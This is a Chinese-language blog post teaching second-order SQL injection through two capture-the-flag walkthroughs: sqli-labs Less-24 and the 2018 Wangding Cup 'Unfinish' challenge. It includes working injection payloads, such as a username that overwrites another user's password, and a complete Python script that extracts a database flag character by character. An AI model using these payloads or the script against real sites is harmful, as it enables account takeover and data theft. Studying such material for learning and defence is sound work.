二次注入(SQL)

先来一段理论

二次SQL注入(Second-Order SQL Injection)是一种特殊类型的SQL注入攻击。与一般的SQL注入攻击类似,攻击者会通过输入恶意的SQL语句来执行非法操作。而二次SQL注入则是指攻击者在应用程序中注入恶意的数据,然后等待应用程序将这些数据存储在数据库中。当应用程序再次从数据库中读取这些数据时,恶意数据就会被读取出来,并执行恶意操作。例如,一个web应用程序可能会将用户输入的内容存储在数据库中,然后在后续的页面中将这些内容显示出来。如果攻击者在用户输入中注入了恶意SQL语句,那么这些语句会被存储在数据库中。当应用程序从数据库中读取这些内容并在后续的逻辑中使用时,恶意SQL语句就有可能被执行,从而导致攻击成功。

例题

sqli靶场的Less-24

打开靶场发现是一个登录页面,需要我们输入用户名和密码

观察一下,一般都存在注册页面,那么下方的New User click here应该就是注册页面

我们先注册一个用户test密码是123,之后跳转至登录页面

使用test/123登录,发现登录成功,并且带有用户名的回显,这里就存在二次注入的风险

首先,当我们在注册页面输入用户名和密码时,网站会把输入的数据保存在数据库中

而当我们登录成功后会把用户名回显在网页上,这说明网站又调用数据库,并从中把数据库中的数据取了出来,如果我们在注册页面就插入恶意代码,在在重置密码的页面调用,即可实现注入

我们注册一个新用户test'#,密码是1234

登录后修改密码为110120,发现test'#用户的密码没变,而test用户密码变成了110120

查看下源码

发现当我们输入test'#时,闭合了sql查询语句username的前一个单引号,而注释符号后面的内容无效,此时sql语句变为

UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' "等效于UPDATE users SET PASSWORD='$pass' where username='test'

那么最后改变的就是test用户的密码

此时,如果我们在注册页面的用户名输入的是类似于ascii(substr((select database()) from 1 for 1))的语句,即可实现从数据库中读取数据,完成注入!

2018网鼎杯Unfinish

这道题与上题类似,但难度更高

打开是一个登录界面,凭经验来说,这种一般还存在注册页面,只是ctf的题没有跳转的接口,需要自己寻找(扫后台dirsearch、御剑都可以),或者直接盲猜

来到注册页面,发现我们需要输入邮箱、用户名和密码,尝试输入

注册后又跳转到了登录页面

 通过邮箱和密码实现登录后,发现来到另一个界面index.php,并且有qwe的回显,考虑二次注入的方向。

这里的逻辑基本就是在注册页面注入恶意数据,在登录页面调用数据库中的脏数据,实现注入1,最后把结果返回到index.php页面

ok

开始注入,先拿一个注入举例子,之后可以写脚本实现批量注入

就拿实现成功回显数据库名的第一个字符为例

我们在注册页面的用户名栏输入0'+ascii(substr((select database()) from 1 for 1))+'0

之后登录,发现此时回显的不是用户名0'+ascii(substr((select database()) from 1 for 1))+'0,而是119,就是数据库名称的第一个字符,查看acii码表,发现是小写w

ok,之后实现批量注入

脚本如下

 1 #coding:utf-8
 2 import requests
 3 from bs4 import BeautifulSoup
 4 import time
 5  
 6  
 7 url = 'http://61.147.171.105:52577/'
 8  
 9 m = ''
10 for i in range(100):
11     #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
12     payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
13     register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
14     login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
15     req = requests.session()
16     r1 = req.post(url+'register.php',data = register)
17     r2 = req.post(url+'login.php', data = login)
18     r3 = req.post(url+'index.php')
19     html = r3.text
20     #print(html)
21     soup = BeautifulSoup(html,'html.parser')
22     #print(soup.prettify())
23     UserName = soup.span.string
24     print(UserName)
25     if int(UserName) == 0:
26         break
27     m += chr(int(UserName))
28     print(m)
29     time.sleep(1)

运行脚本即可获得flag

注意点

关于本题SQL中如何闭合单引号的问题

因为此题中#被过滤,导致我们无法闭合单引号

MySQL中的+只能当做运算符,而不能用作字符串的连接符号,如下图

当+两边一边是数值,一边是字符串时,会将字符串转换为数值之后再相加,如果我们输入0'+ascii()+'0,最后就会变为'0'+ascii()+'0'即为ascii(),成功完成注入!

requests.exceptions.ConnectTimeout

运行py脚本,一开始经常报错

requests.exceptions.ConnectTimeout

查了一下是因为设置的时间太短,当服务器在指定的时间内未做出响应,则会抛出requests.exceptions.ConnectTimeout的错误

具体可以参考文章:https://blog.csdn.net/yuan2019035055/article/details/126628852

总结

SQL的二次注入是两个页面执行了同一处输入点,导致第二次执行了已经存储在数据库中的恶意代码,让攻击者完成注入!

本菜鸟也尝试开始写点py脚本,像本题中就使用了beautifulSoup的第三方库来完成对flag的提取。

参考博客:

https://blog.csdn.net/qq_53079406/article/details/125284454?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125284454%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://blog.csdn.net/qq_54929891/article/details/124911240?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22124911240%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://zhuanlan.zhihu.com/p/39917830

 

 

posted @ 2024-04-17 20:59  zyToJH  阅读(88)  评论(0编辑  收藏  举报